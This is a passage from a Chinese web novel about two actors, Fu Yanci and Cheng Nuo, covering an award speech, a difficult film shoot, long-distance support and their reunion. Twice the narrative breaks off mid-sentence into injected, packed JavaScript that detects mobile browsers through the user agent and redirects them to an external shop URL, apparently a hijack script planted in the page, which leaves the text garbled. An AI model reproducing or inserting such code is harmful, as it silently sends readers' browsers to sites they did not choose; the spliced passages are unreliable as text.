从试镜间出来,天色已晚。程诺打开手机,才发现今天正是金梧桐奖颁奖典礼的日子。直播早已开始,网络上铺天盖地都是红毯照和现场动态。傅晏辞一身黑色丝绒礼服,气质卓绝,是全场焦点中的焦点。 程诺找了个安静的角落,戴上耳机,点开了直播链接。正好进行到最佳男主角的颁奖环节。颁奖嘉宾故意制造悬念,大屏幕上轮流闪过五位提名者的镜头。傅晏辞坐在台下,面容平静,但交握的双手指节微微泛白,泄露了他内心的不平静。 程诺隔着屏幕,也屏住了呼吸,心里默默祈祷。 “……获得本届金梧桐奖最佳男主角的是——”颁奖嘉宾拖长了声音,最终清晰有力地念出了那个名字,“——傅晏辞!恭喜!” 全场掌声雷动!聚光灯瞬间打在傅晏辞身上。他明显怔了一下,随即起身,与身旁的导演、剧组同仁拥抱。镜头捕捉到他眼角隐隐的水光,但笑容是克制而得体的。 程诺在屏幕这边,激动得差点跳起来,眼眶也跟着红了。他就知道!他一定可以! 傅晏辞稳步走上舞台,从颁奖嘉宾手中接过沉甸甸的奖杯。他站在话筒前,调整了一下呼吸,目光扫过台下,沉稳地发表获奖感言。他感谢了导演、剧组、公司和粉丝,言辞恳切,逻辑清晰,尽显顶级演员的风范。 就在程诺以为感言即将结束时,傅晏辞的话锋却微微一转,目光似乎透过镜头,精准地看向了屏幕外的某个人。 “最后,”他的声音透过电流传来,带着一种罕见的温柔和坚定,“我想特别感谢一个人。感谢他出现在我的生命里,像一道温暖的光,照进我有些刻板的世界。他教会我放松,教会我感受生活中那些细微的美好。也许在别人看来,是我在照顾他,但我知道,其实是他治愈了我。” 现场响起一阵小小的骚动和善意的笑声,镜头敏锐地扫过台下,捕捉着可能的目标。 傅晏辞继续说着,语气郑重:“这个奖杯,有他的一半。谢谢你,我的……程诺。” 他没有用任何暧昧的词语,但“我的程诺”这四个字,已然胜过千言万语,是一种无比清晰和郑重的公开认定。 直播弹幕瞬间爆炸!热搜榜秒换!#傅晏辞获奖##傅晏辞感谢程诺#等词条火速登顶! 程诺站在寒冷的街头,看着手机屏幕上傅晏辞深情而坦荡的目光,听着他那段几乎等同于公开告白的话语,眼泪终于忍不住夺眶而出。所有的紧张、不安、自我怀疑,在这一刻都被巨大的幸福和感动冲刷得干干净净。 他不在乎试镜的结果了。有一个人,在他努力向前奔跑的时候,站在了世界的顶峰,当着所有人的面,告诉他,你是我的荣耀。 这就够了。 程诺抹了把眼泪,拿出手机,给那个刚刚创造了历史的人发了一条消息,简短的几个字: 【恭喜你,我的傅晏辞。】 几分钟后,傅晏辞的回复来了,同样简短: 【等我回家。】 14. 有韧劲的咸鱼 傅晏辞载誉而归的那个夜晚,没有盛大的庆祝派对,没有络绎不绝的访客。他推掉了所有的庆功邀约,只带着一身星光和那座沉甸甸的奖杯,回到了他和程诺共同的、位于城市一隅的小小港湾。 程诺早就准备好了——虽然过程有点乌龙。他本想做一顿大餐,结果差点再次引发厨房警报,最后只好悻悻地放弃,点了一桌傅晏辞平时管控严格、但他知道对方其实也挺喜欢吃的……烧烤和炸鸡。他还偷偷买了一瓶香槟,冰镇在冰箱里。 当傅晏辞打开门,看到客厅餐桌上那堆“不健康”却香气扑鼻的食物,以及程诺那张写满“惊喜吧但我尽力了”的表情时,连日来的疲惫和紧绷瞬间消散,取而代之的是抑制不住的笑意。 他放下奖杯,走过去,直接将程诺抱了个满怀,下巴抵在他的发顶,声音带着浓浓的倦意,却无比放松:“这就是你的庆功宴?” 程诺有点不好意思,闷在他怀里说:“……本来想自己做的,失败了。这个……将就一下?” 傅晏辞低笑,胸腔震动:“很好,我很喜欢。” 那晚,两个平时注重饮食管理的艺人,毫无形象地坐在茶几旁的地毯上,对着电视里重播的颁奖礼,啃着炸鸡,喝着冰镇香槟。奖杯被随意放在沙发角落,反射着暖黄的灯光。 “你上台的时候,紧张吗?”程诺啃着鸡翅,含糊地问。 “紧张。”傅晏辞坦诚,“直到说出你的名字,反而踏实了。” 程诺的脸在酒精和害羞的双重作用下红扑扑的,他举起酒杯:“恭喜你,傅影帝!” 傅晏辞与他碰杯,眼神温柔:“谢谢,程老师。” 没有隆重的仪式,没有华丽的辞藻,只有食物香气、酒精微醺和彼此依偎的温暖。但这一刻,比任何盛大的庆典都更让傅晏辞感到满足。荣誉是给外界看的,而眼前的这个人,才是他真正想带回家的奖赏。 当然,程诺也没忘记正事。他期期艾艾地问:“那个……王导那边,有消息了吗?”《无声之境》的试镜结果,像只小猫爪,一直在他心里挠着。 傅晏辞擦擦手,拿出手机:“我问问杨姐。”他拨通电话,简单说了几句,然后挂断,看向一脸紧张的程诺。 “王导说,”傅晏辞故意停顿了一下,看着程诺屏住呼吸的样子,眼底闪过笑意,“你的表演很有灵气,特别是眼神戏,打动了他。” 程诺的眼睛瞬间亮了:“真的?!那……意思是……” “意思是,”傅晏辞终于不再卖关子,“恭喜你,程诺,《无声之境》的男主角,是你的了。” “啊啊啊——!”程诺尖叫一声,扔掉鸡骨头,扑过去抱住傅晏辞,兴奋地在他脸上亲了一口,“我做到了!傅晏辞!我做到了!” 傅晏辞被他撞得往后仰了一下,随即稳稳接住他,看着他兴奋得像个孩子一样的模样,心里软成一片。他回抱住程诺,在他耳边认真地说:“我一直都知道,你可以。” 这一夜,既是傅晏辞事业巅峰的庆祝,也是程诺新征程起航的见证。两人窝在小小的客厅里,为彼此的成就由衷地高兴,对未来充满了共同的期待。 与此同时,傅晏辞颁奖礼上那番郑重的感谢,在经过一夜发酵后,迎来了铺天盖地的正面反响。主流媒体称赞他有担当、重情义;粉丝们虽然有心碎的,但更多是祝福和理解;CP粉更是如同过年,各种分析帖、祝福视频层出不穷。#有一种爱情叫傅晏辞程诺#甚至成了热门话题。 他们的关系,在经历了风风雨雨后,终于以一种最坦荡、最坚实的方式,得到了广泛的认可和祝福。 生活仿佛驶入了一片开阔平静的海域。傅晏辞开始筛选新的剧本,更加注重质量而非数量。程诺则全力以赴地投入到《无声之境》的前期准备中,查阅资料,拜访特殊学校,体验生活,忙得脚不沾地,但眼神却越来越亮。 他不再是被动等待机会的咸鱼,而是主动追逐梦想的演员。 一天晚上,程诺对着镜子练习表情直到脸部肌肉酸痛,傅晏辞走过来,递给他一杯热牛奶,看着镜子里那个认真甚至有些执拗的青年,忽然感慨道:“有时候会觉得,好像是我把你带入这个‘卷’的世界。” 程诺接过牛奶,喝了一口,转过身,眼睛亮晶晶地看着他,摇了摇头:“不是的。” “不是你把我卷进来的。”程诺语气认真,“是我自己……想游到有你的岸边去看看。” 傅晏辞怔住了。他看着程诺,看着这个曾经能躺绝不坐的青年,如今为了一个角色拼尽全力的模样,心底涌起一股难以言喻的感动和骄傲。 他伸出手,将程诺轻轻拥入怀中。 “那以后,”他在他耳边低语,“我们一起游得更远。” …… 程诺进组《无声之境》了。拍摄地选在一个远离都市、风景静谧的江南小镇。这与世隔绝的环境,恰好贴合了电影中主角孤独的内心世界。 开机伊始,挑战便如影随形。失去语言这个最重要的表演工具,程诺必须调动全身每一个细胞去传递情绪。一个简单的抬头,一个眼神的流转,一次手指的颤抖,都需要经过反复的琢磨和练习。导演王导是出了名的严格,对细节要求近乎苛刻,一个镜头拍二三十条是家常便饭。 程诺感受到了前所未有的压力。他不再是那个可以靠着一点小聪明和本色出演混过去的“咸鱼”,每一个镜头都需要极度的专注和投入。他常常在拍摄结束后,一个人留在片场,对着空气反复练习,直到筋疲力尽。 傅晏辞也在同一时间进了新的剧组,这次是一部国际合拍片,取景地在国外,两人之间隔着时差和千山万水。 忙碌和距离,并没有冲淡感情,反而让每一次联系都显得格外珍贵。程诺会在每天收工后,算好傅晏辞那边的时间,给他打视频电话。有时是兴奋地分享拍摄中的一点点进步,比如“今天王导夸我那个眼神对了!”;更多时候,是耷拉着脑袋,像只被雨淋湿的小狗,对着屏幕那头的傅晏辞诉苦: “傅老师,我好难啊……今天那个情绪我怎么都找不到,NG了三十多次,大家都等着我……” “我觉得我好像根本不会演戏……” “王导今天脸好黑,我都不敢看他……” 屏幕里的傅晏辞,有时是在片场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102938|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息的间隙,背景嘈杂;有时是在酒店房间,脸上带着倦容。但他总会耐心地听程诺说完,然后给出具体的建议: “找不到情绪的时候,试试回忆一下你之前……。不要想着‘演’,去想‘感受’。” “王导要求高是好事,他是想帮你。别怕他,有不懂的直接问。” “你已经做得很好了,这个角色本身就有难度,别给自己太大压力。” 他的声音透过电波传来,沉稳,冷静,像一块定心石,总能抚平程诺的焦躁和不安。有时候,两人也不说话,就开着视频,各自做自己的事情——傅晏辞看剧本,程诺揣摩角色,偶尔抬头看看屏幕里的对方,相视一笑,便觉得浑身又充满了力量。 一次,程诺因为一场重头戏始终达不到要求,情绪崩溃,躲在化妆间里偷偷掉眼泪。他不想让傅晏辞担心,没有像往常一样打电话过去。 没想到,过了一会儿,傅晏辞的视频请求却主动弹了出来。程诺慌忙擦干眼泪,调整好表情才接起来。 “今天收工这么早?”傅晏辞在屏幕那头问,眼神锐利,仿佛能穿透屏幕看穿他的伪装。 “嗯……今天比较顺利。”程诺眼神闪烁。 傅晏辞沉默了几秒,直接拆穿:“程诺,你哭过了。” 程诺的伪装瞬间瓦解,鼻子一酸,刚止住的眼泪又涌了上来,带着哭腔说:“……我就是觉得自己好没用……” 傅晏辞没有安慰他“别哭”,而是看着他的眼睛,语气异常严肃和认真:“程诺,你记住,你现在经历的每一个瓶颈,每一次自我怀疑,都是成长的代价。我拿奖之前,也一样经历过无数次想放弃的时刻。扛过去,你就是赢家。” “可是……我怕我扛不过去……” “你扛得过去。”傅晏辞的语气不容置疑,“因为我认识的程诺,是一条看起来懒洋洋,但认定目标后,比谁都有韧劲的咸鱼。” 这句“有韧劲的咸鱼”把程诺逗笑了,眼泪还挂在睫毛上,看起来又可怜又好笑。 “好了,”傅晏辞语气放缓,“去洗把脸,吃点东西。明天太阳升起,又是一条好汉。” 那通电话之后,程诺好像真的多了几分韧劲。他不再轻易气馁,而是把每一次NG都当成学习和打磨的机会。他观察剧组里其他老戏骨的表演,甚至观察小镇上形形色色的普通人,捕捉那些细微的情感流露。 渐渐地,他找到了一些感觉。他开始能够更自然地用身体和眼神去说话,王导脸上的阴云也渐渐散去,偶尔还会露出赞许的目光。 一天深夜,程诺拍完一场大雨中的戏,浑身湿透,又冷又累。回到酒店,他习惯性地想给傅晏辞发消息,才想起那边现在是凌晨,傅晏辞应该还在睡梦中。 他有些失落地点开聊天记录,往上翻,看着那些跨越时区的、琐碎而温暖的对话,心里却被填得满满的。 他打开备忘录,敲下了一行字: 【虽然很难,但我想成为能和你一样发光的人。】 然后,他放下手机,抱着剧本,沉沉睡去。梦里,他似乎看到傅晏辞就站在不远处的光里,对他微笑着伸出手。 15. 我们的未来 时间在紧张的拍摄中飞逝,程诺在《无声之境》剧组的戏份终于接近尾声。最后一场戏,是他饰演的画家在经历漫长挣扎后,第一次用画笔在画布上重新勾勒出窗外阳光的镜头。没有台词,没有激烈的动作,只有一种近乎神圣的平静,和眼神中重新燃起的、微弱却坚定的光。 “咔!”王导的声音透过喇叭传来,带着一丝不易察觉的满意,“过了!” 现场安静了一瞬,随即爆发出热烈的掌声。工作人员纷纷上前向程诺表示祝贺。程诺还沉浸在角色里,有些恍惚,直到化妆师小姐姐红着眼圈给他一个拥抱,他才反应过来——他,杀青了。 这几个月的压力、疲惫、自我怀疑和突破的喜悦,在这一刻如同潮水般涌上心头。他眼眶一热,眼泪不受控制地掉了下来。这不是委屈的泪,而是百感交集的释放。 王导走过来,拍了拍他的肩膀,这位一向严肃的导演,此刻脸上竟带着赞许的笑意:“程诺,辛苦了。你把这个角色‘活’出来了,很好。” 这句简短的肯定,让程诺的眼泪流得更凶了。他知道,从王导口中说出“很好”两个字,是多么不容易。 晚上的杀青宴,气氛热烈。程诺作为主角,被大家轮番敬酒。他酒量浅,几杯下肚就满脸通红,但心情却前所未有的轻松和畅快。他笨拙地举着酒杯,感谢导演,感谢剧组每一位工作人员,说到动情处,又忍不住哽咽。 就在这时,酒店的服务生推着一个巨大的、装饰精美的花束走了过来,吸引了全场的目光。那花束不是常见的玫瑰或百合,而是由向日葵、洋桔梗和翠绿的尤加利叶组成,灿烂,温暖,充满生机。花束中央插着一张精致的卡片。 “程老师,您的花,一位傅先生预订的,从国外空运过来的。”服务生微笑着将花束送到程诺面前。 全场顿时响起一片起哄和羡慕的惊叹声。程诺愣住了,接过那张卡片,上面是傅晏辞熟悉而有力的字迹,只有简单的一句话: 【恭喜杀青。你本身就是光。——晏辞】 一股巨大的暖流瞬间冲垮了程诺本就脆弱的情绪防线。他抱着那束灿烂得如同阳光本身的花,在全剧组善意的哄笑和掌声中,哭得像个孩子。 他没想到,远在千里之外、同样在紧张拍摄的傅晏辞,会记得他杀青的日子,会用这种方式,给他如此隆重而贴心的惊喜。这束花,比任何奖项都让他感到被看见、被珍惜。 他拿出手机,也顾不得时差,直接给傅晏辞拨了视频电话。电话响了好一会儿才被接起,屏幕那头的傅晏辞似乎是在片场休息,脸上还带着特效妆,背景是异国风情的沙漠。 “收到花了?”傅晏辞看着他通红的脸和湿漉漉的眼睛,嘴角弯起。 “嗯!”程诺用力点头,把镜头对准怀里巨大的花束,声音还带着哭腔,“你怎么知道今天……” “你的行程表,我一直看着。”傅晏辞的语气很自然,“喜欢吗?” “喜欢!超级喜欢!”程诺把脸埋进花瓣里,嗅着清新的香气,傻笑,“傅晏辞,你怎么这么好……” 傅晏辞在屏幕那头低笑:“因为你值得。” 简单的五个字,却重若千钧。程诺看着屏幕里那个即便带着妆也难掩疲惫,却依旧温柔注视着他的男人,心里被一种前所未有的踏实和幸福填满。 杀青宴结束后,程诺抱着那束巨大的花回到酒店房间,小心翼翼地把花插进花瓶,摆在最显眼的位置。他躺在床上,看着那束在灯光下熠熠生辉的花,回忆着这几个月来的点点滴滴。从最初的忐忑不安,到中间的崩溃挣扎,再到最后的豁然开朗……这一切,都因为有一个人在背后默默支撑着他。 他拿起手机,给傅晏辞发了一条很长的信息,絮絮叨叨地讲述着杀青的感受,感谢他的花,也诉说着对他的思念。他知道傅晏辞可能在忙,不会立刻回复,但他就是想告诉他。 发完信息,他抱着枕头,闻着空气中淡淡的花香,安心地睡着了。梦里,不再是追逐的背影,而是并肩站在阳光下的身影。 …… 傅晏辞比原计划提前一周结束了国外的拍摄。他没有告诉程诺具体的归期,想给他一个惊喜。 当程诺某天傍晚拎着外卖,慢悠悠地晃回家,习惯性地瞥了一眼对门时,却意外地发现,傅晏辞家玄关的灯亮着。他的心猛地一跳,手里的外卖袋子差点掉在地上。 他几乎是跑着冲到自己家门口,钥匙插了好几次才对准锁孔。门一打开,就看到傅晏辞正站在客厅中央,背对着他,似乎在整理行李箱。他风尘仆仆,却难掩挺拔。 听到开门声,傅晏辞转过身。四目相对,没有激动的呼喊,没有飞奔的拥抱,只有一种流淌在空气中、无声却震耳欲聋的思念和安心。 程诺站在门口,眨了眨眼,好像生怕这是幻觉。然后,他咧开嘴,露出了一个有点傻气却无比灿烂的笑容,轻声说:“你回来啦。” 傅晏辞眼底的疲惫瞬间被温柔的笑意取代,他张开双臂:“嗯,回来了。” 程诺这才扔下外卖,像只归巢的鸟儿般扑进他怀里。傅晏辞收紧手臂,将人牢牢抱住,下巴抵在他的发顶,深深吸了一口属于程诺的、带着点外卖油烟味却让他无比心安的气息。 “这次怎么又提前?”程诺闷在他怀里问。 “想你了。”傅晏辞的回答直接而坦率。 程诺耳朵一热,心里甜得冒泡,嘴上却哼了一声:“傅老师,你变了,以前你可不会说这种话。” “近朱者赤。”傅晏辞低笑,意有所指。 久别重逢的夜晚,自然充满了温情与缱绻。他们挤在程诺那张不算太大的沙发上,分享着那份已经微凉的外卖,聊着分别后各自发生的琐事。程诺叽叽喳喳地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102939|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着《无声之境》后期制作的进展,傅晏辞耐心听着,偶尔补充几句自己在国外的见闻。 生活仿佛又回到了熟悉的轨道,但似乎又有什么不同了。他们之间少了最初的试探和不确定,多了历经风雨后的默契与笃定。一个眼神,一个动作,就能明白对方的心意。 几个月后,《无声之境》正式上映。影片以其深刻的内涵、精湛的镜头语言和程诺极具突破性的表演,赢得了口碑和票房的双丰收。程诺饰演的失语画家,眼神纯净如孩童,情感表达细腻入微,打动了无数观众。他不再是“傅晏辞的男朋友程诺”,而是作为演员程诺,真正走进了大众的视野,获得了广泛的认可。 颁奖季来临,程诺凭借此片成功入围了数个重要电影节的最佳新人奖。虽然最终与大奖失之交臂,但提名本身已是极大的肯定。站在闪光灯下,他从容自信,感言真诚得体。 傅晏辞坐在台下,看着那个在舞台上发光发热的青年,嘴角始终噙着一抹骄傲的弧度。他的咸鱼,终于凭借自己的努力,游到了更广阔的海洋。 又是一个寻常的夜晚,两人饭后在阳台消食。晚风轻拂,城市灯火璀璨。他们聊着未来的计划,傅晏辞在考虑成立个人工作室,拥有更多自主权;程诺则收到了不少剧本邀约,正在谨慎挑选下一个挑战。 “傅晏辞,”程诺忽然想起什么,转过头看他,眼睛亮亮的,“你还记得吗?我们第一次‘正式’见面,就是在这个阳台。”指的是傅晏辞翻阳台那次。 傅晏辞挑眉:“印象深刻。某人身穿皮卡丘,目瞪口呆。” 程诺笑着捶了他一下:“谁让你那么吓人!我当时以为撞鬼了!”他顿了顿,语气变得柔软,“不过现在想想,好像……就是从那天开始,我这条咸鱼的人生,就彻底跑偏了。” 傅晏辞伸手,将他揽入怀中,一起眺望远处的夜景:“跑偏了不好吗?” 程诺靠在他温暖的胸膛上,想了想,认真地说:“挺好的。虽然有时候挺卷的,挺麻烦的,但是……”他抬起头,看着傅晏辞在夜色中格外深邃的眼睛,笑容温暖而满足,“但是,有你在的未来,比我以前躺平能想象到的所有未来,都要好一千倍,一万倍。” 傅晏辞心中一动,低头吻了吻他的额头。无需更多言语,彼此的体温和心跳已经诉说了所有。 夜空中,恰好有不知谁家庆祝的烟火绽开,绚烂的光芒照亮了他们的脸庞,也照亮了阳台上紧紧相拥的身影。 从一场啼笑皆非的“碰瓷”开始,历经协议的束缚、误会的考验、分离的思念和成长的淬炼,他们最终找到了最真实的彼此,和属于他们的、最好的未来。 故事的最后,卷王依旧自律,但学会了放松;咸鱼依旧怕麻烦,但拥有了为爱奔跑的勇气。 而他们的故事,还将在每一个平凡的清晨和日暮里,继续书写下去。